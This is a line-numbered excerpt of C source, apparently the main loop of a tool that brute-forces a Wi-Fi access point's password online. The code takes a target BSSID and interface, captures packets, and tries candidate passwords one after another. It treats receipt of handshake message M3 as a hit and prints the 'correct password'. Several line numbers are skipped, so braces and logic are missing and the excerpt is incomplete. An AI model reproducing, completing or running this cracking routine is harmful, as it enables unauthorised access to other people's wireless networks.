1019 gstate.fatal_timeout = 1;
1020 break;
1021 default:
1022 return usage(argv[0]);
1025 if(!bssid || !itf) return usage(argv[0]);
1026 if(!essid) gstate.essid_set = 0;
1027 else set_essid(essid, strlen(essid), 0);
1029 get_mac(itf, gstate.our_mac);
1030 gstate.cap = capture_init(itf);
1031 assert(gstate.cap);
1032 str2mac(bssid, gstate.bssid);
1034 if(!fetch_next_pass()) return usage(argv[0]);
1036 sigalrm_init();
1038 gstate.conn_state = ST_CLEAN;
1040 fresh_try:
1042 for(;;) {
1043 int ret = process_packet(gstate.cap);
1044 if(ret == -1) break;
1045 if(ret == 1) {
1046 stop_timer();
1047 advance_state();
1048 if(gstate.conn_state == ST_GOT_M3) {
1049 dprintf(1, "[!] found correct password: %s\n", gstate.pass);
1050 return 0;
1053 if(timeout_hit) {
1054 if(gstate.conn_state == ST_GOT_M1 && gstate.m1_count > 0) {
1055 dprintf(2, "[X] no M3 received, assuming password %s is wrong\n", gstate.pass);
1056 if(!fetch_next_pass())
1057 break;
1059 if(gstate.fatal_timeout) return 1;
1060 gstate.conn_state = ST_CLEAN;
1061 advance_state();
1062 goto fresh_try;
1066 return 1;